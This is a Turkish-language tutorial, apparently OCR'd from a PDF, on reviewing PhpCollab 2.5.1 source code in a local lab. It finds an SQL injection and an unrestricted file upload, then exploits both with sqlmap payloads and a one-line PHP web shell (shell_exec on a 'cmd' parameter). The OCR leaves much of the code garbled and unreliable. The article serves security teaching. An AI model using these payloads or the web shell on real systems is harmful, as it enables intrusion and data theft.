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Web Uygulama Giivenligi Ornek Kaynak Kod Analizi

YAZAR HAKKINDA

Engin Demirbilek. Ozel sektérde Sizma Testi alaninda galismaktadir. Ilgi alanlar1 web uygulama
giivenligi, internal s1izma testleri ve basit seviye zararli olusturma.

E-Mail: engindemirbilek@protonmail.com
Twitter: @hyalOid

Blog: https://engindemirbilek.github.io
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WEB UYGULAMA GUVENLIGI KAYNAK KOD ANALIZI:

Web uygulamalarinda olusan zafiyetler genel olarak 3 sebepten kaynaklanmaktadir:

* Kaullanicidan alinan girdinin kontrol edilmemesi / eksik kontrolii
e Oturum Yo6netimleri
* Ve nadiren gomiilii parolalar.

Web uygulamalari, gerekli kontroller yapilmaksizin herkese acgik halde paylasilmas: durumunda
yukarda ki temel durumlardan dogabilecek cesitli kritik zafiyetlerden muzdarip olabilir. Bu
kontroller kimi zaman herhangi bir kod gosterimi olmaksizin local bir agda veyahut dogrudan
internet siteleri iizerinde yapilan islemlerle kontrol edilsede kimi zaman ilgili kontrollerle aciga
cikartilamayan zafiyetlerin, kaynak kod inceleme islemleri esnasinda ¢iktigin1 gérmekteyiz.

Bu makalede, sayfa sayisini fazla uzatmamaya 6zen gostererek drnek bir web uygulama kaynak kod
analizi gerceklestirerek uygulama iizerinde daha 6nce saptanmis olan 1 adet SQL injection ve 1 adet
unrestricted file upload zafiyetlerini tespit edecegiz.
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CALISMA ORTAMI VE ZAFIYETLI WEB UYGULAMASI:

Bu makale siiresi boyunca, PHP teknolojisi kullanilarak olusturulmus PhpCollab (version: 2.5.1)
uygulamasinin kaynak kod inceleme islemini gerceklestirecegiz.

Statik inceleme iglemlerinde hiz fakt6riinii ve web servislerinin kullanim kolayliginida
degerlendirerek inceleme yapacagim isletim sistemi ise Ubuntu 16.04 olacak.

Uygulamaya suradan erisebilirsiniz:
https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip



https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip
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UYGULAMAYA GIRIS

PHP Collab uygulamasini kurmamizin ardindan bizi giris sayfasi karsiliyor:

{:(- ) @ | 127.0.0.1/collab/general/login.php

PhpCollab

Log In System Requirements License

PhpCollab : Log In

Please log in
La 8 - a
nIUae 1| English =
* User Name :[admin| ]
* Password :[. l
| Login |
Forgot password ?
PhpCollab v2.5.1
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MUHTEMEL GIRDI NOKTALARININ ARAYUZDE SAPTANMASI

Kodlarla bogusmaya baslamadan 6nce, gorsel arayiiz izerinden muhtemel olarak kullanicidan girdi
alan yerleri tespit etmemiz ilerleyen incelemelerde bize kolaylik saglayacaktir. Uygulama iizerinde
biraz gezinmenin ardindan, uygulama panel arayiiziinde hemen hemen her dizinde bir dosya ekleme
& editleme 6zelligi ve bazi noktalarda ise icerik arama noktalar1 karsimiza cikiyor:

home.php:
& ) ©]127.0.0.1/collab/general/home.php?&PHPSESSID=glrqu1hs2nbnpluph7fbkko7r0
PhpCollab : Home Page

Home Projects Clients Reports Search Calendar Newsdesk Bookmarks Admin

Home /[ Administrator

<+ My Projects

(=

No items to display

< My Tasks

No items to display

+ My Subtasks
No items to display

listclients.php:

€ ) 0] 127.0.0.1/collab/clients/listclients.php?&PHPSESSID=glrqu1hs2nbnpluph 7fbkks7r0
PhpCollab : List Clients

Home Projects Clients Reports Search Calendar Newsdesk Bookmarks Admin

Client Organizations / Client Organizations

Client Organizations

(2

No items to display

PhpCollab v2.5.1 - Connected users: 1

Uygulama arayuzuni inceleyerek diger girdi noktalarini saptayabilirsiniz.
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MUHTEMEL GIRDI NOKTALARININ KODLAR ARASINDA SAPTANMASI

Gorsel arayiizden saptamalar yapabilecegimiz gibi, kodlar arasindada gezinerekte saptamalar
yapmamiz miimkiin. Uygulama biiyiikliigiine gére bu is uzun zaman alabileceginden o6tiirii
islemlerimizi hizlandirmak icin Gnu/Linux sistemlerin bize sagladigi bash scripting tekniklerinin
nimetlerinden faydalanacagiz.

Uygulama Uzerinde ki SQL Sorgularimin Saptanmasi:

Uygulama iizerinde ki sql sorgularinin saptanmasi, uygulama {izerinde potansiyel olarak
bulunabilecek SQLinjection zafiyetlerinin tespitinde ilk adimi olusturmaktadir. Ufak bir bash

scripting yardimiyla uygulama tizerinde ki tiim SQL sorgularim ve bulunduklar dosyalar1
saptamamiz miimkiin:

hyaloid@ubuntu:jvar fwww/html/collab$ find . -type T | grep ".php" | xargs grep "FROM\|INTO\|UPDATE" | sort | uniq
./administration/listlogs.php: Stmpquery = "DELETE FROM ".StableCollab["logs"];
./administration/mycompany.php: Stmpguery "UPDATE ".StableCollab["organizations"]." SET extension_log Sextension' WHERE id='1'";
./administration/mycompany .php: Stmpquery = "UPDATE ".StableCollab["organizations"]." SET extension_logo='' WHERE id='1""
./administration/mycompany.php: $tmpquery = "UPDATE ".StableCollab["organizations"]." SET name='$cn', addressi='Sadd',phone='$wp',url="'Surl', email='Semail’
./alerts/daily_alert.ph FROM $membersTable, $notificationsTable
./alerts/daily_alert.ph FROM SsubtasksTable, StasksTable, SmembersTable
./alerts/daily_alert.ph FROM StasksTable, SprojectsTable, SmembersTable
./bookmarks/deletebookmarks .php: Stmpqueryl = "DELETE FROM ".StableCollab["bookmarks"]." WHERE id IN(Sid)";
. /bookmarks/editbookmark . php Stmpqueryl = "INSERT INTO ".StableCollab["bookmarks_categories"]."(name) VALUES('Scategory new')
,/bookmarks/edltbonkmar h Stmpqueryl = "INSERT INTO ".$tablecollab["bookmarks"]."(owner,category,name,url,description,shared,home,comments,
name','Surl','Sdescription','Sshared','Shome','Scomments','Susers','Sdateheure’
‘/bookmarks/editbonkmarL‘php, StmpqueryS = "UPDATE " Stahle(ollab[”hooLmarLs”] " SET url='Surl',name='Sname’ ,description="Sdescription’', modified|
ed” ,home="Shome" ,comments='S$comments' ,users='Susers' WHERE id = 'Sid'";
. /bookmarks /viewbookmark.php: Stmpqueryl = "UPDATE ".StableCollab["notes”]." SET published='0' WHERE i 'sid';
. /bookmarks/viewbookmark.php S$tmpqueryl = "UPDATE ".$tableCollab["notes” SET published='1' WHERE id 'sid';
/(alendar/delete(alendar php: Stmpgueryl = "DELETE FROM ".S$tableCollab["calendar” WHERE id IN(Sid)

Stmpquery "INSERT INTO " Stahle(ollab["calendar”] "(owner,subject,description,location,shortname,date_start,date|

dsession’,'Ssubject’,"Sdescription’, '§location', 'sshortnane' , 'Sdatestart‘ 'SdateEnd’,'Stine_start’,'Stine_end',’$reminder’,
$tmpquery = "UPDATE " Stable(ollab["calendar"] T SET subject Ssub]e(t ,description= descrlptlon

/(llents[delete(hents pnp ELETE FROM " Stahle[ollab[ organlzatmns 1." WHERE

./clients/deleteclients.php: "UPDATE ".StableCollab["projects"]." SET organization='1"' WHERE organlzatlon IN(Sid)";
.Jclients/deleteclients.php: Stmpquery3 = "DELETE FROM ".S$tableCollab["members"]." WHERE organization IN($id)";

./clients/editclient.php: Stmpqueryl = "INSERT INTO ".StableCollab["organizations"]."(name,address1,phone,url,email,comments
'$client_phone', '$url’, ‘Semall‘ '$c','$dateheure’,'" thnt(Scown) "', 'Shourly_rate')";

/(llentsledlt(llen . n Stmpquery = "UPDATE ".StableCollab["organizations"]." SET extension_logo='Sextension' WHERE id='Sid'";
./clients/editclient. ph Stmpquery = "UPDATE ".StableCollab["organizations"]." SET extension_logo='Sextension' WHER|
.Jclients/editclient.ph Stmpquery = "UPDATE ".StableCollab[ "organizations"]." SET extension logo='' WHERE id='Si
.Jclients/editclient.php: $tmpquery = "UPDATE ".$tableCollab["organizations"]." SET name='S$cn',addressi='$add',phone='$client_phone',url='$u
.fixInt($cown)."',hourly_rate='$hourly_rate' WHERE id = '$id'";

./general/home.php: Stmpqueryl = "UPDATE ".S$tableCollab["topics”]." SET published='0' WHERE id = '$id'";

./general/home.php: Stmpqueryl = "UPDATE ".StableCollab["topics"]." SET published='8' WHERE id IN(Sid)";

./general/home.php: Stmpqueryl = "UPDATE ".$tableCollab["topics”]." SET published='1' WHERE id = '$id'";

./general/home.php: $tmpqueryl = "UPDATE ".$tableCollab["topics"]." Si i 1' WHERE id IN($id)

./general/home. H S$tmpqueryl = 'UPDATE '.S$tableCollab['topics']." SET status id"'";

./general/home. Stmpgueryl 'UPDATE '.StableCollab['topics']." SET status

./general/login.php: S$tmpqueryl = "INSERT INTO " . S$tableCollab["logs"] .

re')";

./general/login.php: $tmpqueryl = "UPDATE " tableCollab["logs"] . " SET connected='' WHERE login
./general/legin.php: Stmpqueryl UPDATE " . StablecCollab["legs"] . " SET ip='S$ip’',sessiol
./general/login.php: Stmpquery = "UPDATE " . StableCollab["members™] . " SET last_page='' WHERE login
./general/sendpassword.php: Stmpquery = "UPDATE ".StableCollab["members"]." SET password='Spw' WHERE login = 'SloginForm'";
.Jincludes/initrequests.php:FROM ".StableCollab["assignments"]." ass

./includes/initrequests.php:FROM ".§tablecollab["bookmarks"]." boo

./includes/initrequests.php:FROM ".StablecCollab["calend ]." cal

./includes/initrequests. :FROM ".StableCollab["files"]." fil

Kullanilan Komut:

Eger daha 6nce SQL ile ugrastiysaniz neden SELECT, INSERT vesaire farkli anahtar kelimeleri
kullanmadigim konusu kafaniza takilmis olabilir. Bunun sebebi, olabilecek neredeyse her sorguda
SELECT gibi genel anahtar kelimeler gegmesede FROM, INTO VE UPDATE anahtar kelimelerinin
gecmek zorunda olacak olmasidir.
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Saptadigimiz SQL sorgularinda bizim asil ilgimizi ¢eken kisim kullanicinin kontroliinde olan bir
degiskenin herhangi bir sorgu icinde olup olmadig: olacaktir. Tabi ki bu bulumun yapilmasi icin isin
biraz daha kolayina kacilarak _GET, _POST, _REQUEST gibi anahtar kelimelerin aranmasi
isimizi hizlandiracak olsada bu girdilerle herhangi bir degiskene atilan verilerin olugturdugu
zafiyetlerin saptanmasinda, ilgili yontem yeterli olmayacaktir.

Ornek: $email = $ REQUEST[“email”];

Bu sebeple saglikl bir inceleme saglamak adina ilgili sorgular ve sorgu icinde ki degiskenler bir
biitiin olarak incelenmelidir.

Isimizin biraz daha kolaylagmasi adina, igcinde SQL sorgusu bulunan tiim dosyalan bir liste halinde
siralayabiliriz.

hyaloid@ubuntu: /var/www/html/collab$ find . -type f | grep ".php" | xargs grep "FROM\|INTO\|UPDATE" | cut -d ":" -f1 | sort | uniq > sql_kontrol.txt

hyaloid@ubuntu: /var/www/html/collab$ head -n 25 sql_kontrol.txt
./administration/listlogs.php
.fadministration/mycompany.php
./alerts/daily_alert.php

. /bookmarks /deletebookmarks.php

. /bookmarks /editbookmark.php

. /[bookmarks /viewbookmark.php
./calendar/deletecalendar.php

./calendar /viewcalendar.php
./clients/deleteclients.php
./clients/editclient.php
.fgeneral/home.php

./general/login.php
./general/sendpassword.php
./includes/initrequests.php
./includes/jpgraph/jpgraph_gantt.php
./includes/jpgraph/jpgraph.php
./includes/library.php
./includes/phpmailer/class.phpmailer.php
./includes/phpmailer/class.smtp.php
./includes/phpmyadmin/bookmark.lib.php
./includes/phpmyadmin/build_dump.lib.php
./includes/phpmyadmin/common.1lib.php
./includes/phpmyadmin/config.inc.php
./includes/phpmyadmin/db_details.php
./includes/phpmyadmin/functions. js

Bu adimin ardindan sira her dosya icinde ki sorgu ve sorgularda ki degiskenleri incelemeye geliyor.
Dogrudan saptanan 6rnek bir zafiyete gecelim.
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ILK ZAFIYET SQL INJECTION

Dosya: topics/deletetopics.php

if(S_GET['project’']){
Sproject =
} else {
unset(Sproject);
1}

P P P
DD 00~

ﬁtmpquery = "WHERE pro.id = 'Sproject'”;
sprojectDetail = new request();
4 SprojectDetail-=openProjects(Stmpquery);

65 include('../themes/'.THEME.' /header.php');

Uygulama iizerinde ki érnek bir sql injection zafiyeti yukaridaki gibidir. Kullanicidan GET istegi ile
(deletetopics.php?project=) alinan bir girdi herhangi bir kontrolden gecirilmeden SQL sorgusuna
atilmig (satir: 32). Bu durumda eger kullanic1 ¢ karakterlerinden kaginip sorgu yapisini editleyerek
database iizerine dogrudan erisim saglayabilir.

Bu islem icin 6rnek bir payload olarak: deletetopics.php?project=hyaloid’-SLEEP(5)-- -
verilebilir. Bu girdinin site {izerinden verilmesi durumunda MY SQL iizerinde SLEEP fonksiyonu
calisacak ve 5 saniye boyunca herhangi bir sonu¢ donmeyecektir. Veyahut herhangi bir tool
yardimiyla (orn: sqlmap) kolayca tiim database ele gegirilebilir.

Bu zafiyet tespitinin ardindan sormamiz gereken 1 soru daha var. Bu istegi atabilecek kisinin giris
yapmasl veyahut bir yetki dahilinde olmasi gerekli mi degil mi ? Bu kontrol iginse basitce
uygulama iizerinde ki dosyalarin ilk satirlarini kontrol edebiliriz. Oturum dogrulamay: saglayan
herhangi bir dosya veya degiskenin belirtilmesi durumunda (oturum kontrollerinin dogru yapildigini
varsaylyoruz) ilgili zafiyeti site izerinde oturum olugturmayan bir kullanicinin tetiklemesi olanaksiz
olacaktir. Ufak bir goz gezdirmenin ardindan site tizerinde oturum kontrollerinin $checkSession
isimli bir degisken dahilinde kontrol edildigini gormek miimkiin. Zafiyetli kodu iceren dosyanin ilk
satirlarina baktigimizda ise bu dosyaya erisim i¢inde bir oturum kontrolii oldugunu goriiyoruz:

5
6 ScheckSession =

7 include once('../
S

Yani bu durumda ilgili zafiyeti tetiklemek icin site iizerinde oturum olusturabilen bir kullaniciya
ihtiyacimiz var. Her ne kadar bu kontrol zafiyetin muhtemelen saldir1 potansiyelini azaltiyor olsada
hala bu zafiyeti kritik bir zafiyet olmaktan asagi birakmiyor. Elbette daha uzun uzadiya
incelemelerde ilgili oturum kontrollerinin yapilmadig1 noktalarda zafiyetler ¢ikartilabilir ve/veya
dogrudan oturum kontroliiniin yapildig1 kodlarda hatalar bulunabilecek olsada biz sayfa sayisini
uzun uzadiya tutmadan diger zafiyetimizi aragtirmaya koyulalim.
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Uygulama Uzerinde ki Dosya Yiikleme Noktalarinin Saptanmasi:

Dosya yiikleme fonksiyonlari uygulamanin yazildig: dile gore farklilik géstersede temelde birbiriyle
tamamen ayni zafiyetlerden muzdarip olurlar: Yiiklenen dosyanin eksik kontrolii. PHP kodlama
dilinde dosya yiikleme islemlerinde kullanilan temel fonksiyon move_uploaded_file() ve temel
degisken ise $_FILES degiskenidir. Bu bilgilerden yola cikarak yine ufak bir script yardimiyla
uygulama iizerinde dosya yiikleme fonksiyonlarinin bulundugu yerleri saptayabiliriz.

hyaloid@ubuntu: /var /www/html/collab$ find . -type f | grep ".php" | xargs grep "move_uploaded_file\|_FILES" | cut -d ":" -f1 | sort | uniqg
./administration/mycompany.php

./clients/editclient.php

./includes/1library.php

./includes/phpmyadmin/grab_globals.lib.php

./includes/phpmyadmin/read dump.php

./includes/phppgadmin/1lib.inc.php
./linkedcontent/addfile.php
./linkedcontent/viewfile.php
./projects_site/clientfiledetail.php
./projects_site/uploadfile.php

Kullanilan Komut:

SQL sorgulanyla kiyasladigimizda bu sefer dosya sayimiz oldukca diisiik.

10
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IKINCI ZAFIYET UNRESTRICTED FILE UPLOAD

Dosyalar incelemeye koyuldugumuzda daha ilk tespit edilen nokta iizerinde yiiklenen dosyalarin
herhangi bir kisitlamaya tabi tutulmadig1 goriiyoruz (satir 61, 62).

Sextension = strtolower( substr( strrchr(k FILES[ nad name'], ". -1 13

if(@move_ uploaded file(S_FILES[ 't d']['t e']l, "../logos_clients/1.Sextension"))

Stmpquery = "UPDATE ".StableCollab["organizations"]." SET extension_ logo='Sextension' WHERE id='1"";
connectsql("Stmpquery”);

Bu durumda kullanici logo yerine herhangi bir php dosyas: yiikleyerek sistem tizerine dogrudan
erisim saglayabilir. Buna ek olarak goziimiize carpan diger bir zafiyet ise dosya uzantisinin herhangi
bir kontrolden gecirilmeden bir SQL sorgusuna koyuldugu. Biraz fantastik olsada eger ki yiiklenen
dosyanin uzantisina bir SQLinjection payloadi verecek olursak file upload zafiyetine ek olarak
buradan bir SQL injection zafiyetide tetikletmemiz miimnkiin. Tespit edilen diger dosyalar
incelenerek zafiyet sayisi artirilabilir fakat suanlik bu bizim icin yeterli.

Orn Zararli PHP dosyasi: <?php echo shell_exec($_GET[“cmd”]); ?>
Orn Sql Injection Payloadi: logo.a’-SLEEP(5)-- -

SQLinjection zafiyetinde oldugu gibi bu zafiyetinde tetiklenmesi icin gecerli bir oturum eldesi
olmasi gerekiyor.

11
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ZAFIYET SOMURUM ORNEKLERI

SQL INJECTION:

Yazimizi bitirmeden 6nce tespit ettigimiz zafiyetlerin 6érnek bir somiiriinii gdstermekte fayda var. Ilk
olarak tespit ettigimiz SQL Injection zafiyetini SQLmap toolu aracilig1 ile sémiirelim:

Kullanilan Komut:

GET parameter 'project' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1491 HTTP(s) requests:

Parameter: project (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: project=asd' AND EXTRACTVALUE(3933,CONCAT(Ox5c,0x71766b6271,(SELECT (ELT(3933=3933,1))),0x71767a7a71)) AND 'sXcv'='sXcv

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: project=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))pDsM) AND 'FrGR'='FrGR

Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: project=asd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766b6271,0x6b466151534c7358786d59786a7a636c674f59464e6¢|
JNULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL,NULL ,NULL ,NULL ,NULL ,NULL#
[01:47:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.1

ilable databases [5]:
collab
information_schema
mysql
performance_schema
sys

12
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UNRESTRICTED FILE UPLOAD:

Bu zafiyetin sémiiriimii ise herhangi bir tool kullanmaksizin yapabiliriz.
Ik olarak site iizerinde bize interaktif bir baglant1 saglayacak basit bir zararl olugturalim:

echo shell_exec($_GET["cmd"]);
?>

Ilgili dosyay1 daha 6nce tespit ettigimiz noktadan yiikledigimizde;

(&) |127.0.0.1/collab/administration/mycompany.php?&PHPSESSID=glrqu 1hs2nbnpluph7fbkko7ro |

My Company Name

Home Projects Clients Reports Search Calendar Newsdesk Bookmarks Admin

Administration / Company Details

Company Details

Edit your company informations

‘[My Company Name |

Address : Test ‘

Phone

“113213

URL 2 (asdad |

EMall:[asd@asd.com |

Comments : |

123 ‘

tego [Helel:| growse... | No file selected.
)

My Company Name O Delete

| Save J

PhpCollab v2.5.1 - Connected users: 1

Yiikledigimiz zararli /logos_clients/ dizinine 1.php olarak yiiklenecek.

substr({ strrchr($_FILES['uplead'1l'name’'1 _"."3 1) ):
"tmp_name'], "..flogos_clients/1.5extension

'.1l_FILES['upIDad'][

LI
))

13
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Dizine tarayici iizerinden ulasip zararlimizi tetiklettigimizde ise:

€ ) (0 127.0.01

ens33 Link encap:Ethernet Hwaddr 00:08c:29:5d:d6:1f
inet addr:192.168.184.128 Bcast:192.168.184.255 Mask:255.255.255.0
inet6 addr: feB0::17d6:34e3:a339f:acB0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:163846 errors:8 dropped:0 overruns:0 frame:0
TX packets:97593 errors:0 dropped:0 overruns:@ carrier:@
collisions:0 txqueuelen:1000
RX bytes:116932846 (116.9 MB) TX bytes:18887155 (18.8 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:27621 errors:0 dropped:® overruns:@ frame:@
TX packets:27621 errors:0 dropped:0 overruns:@ carrier:@
collisions:0 txqueuelen:1
RX bytes:6133893 (6.1 MB) TX bytes:6133893 (6.1 MB)

14
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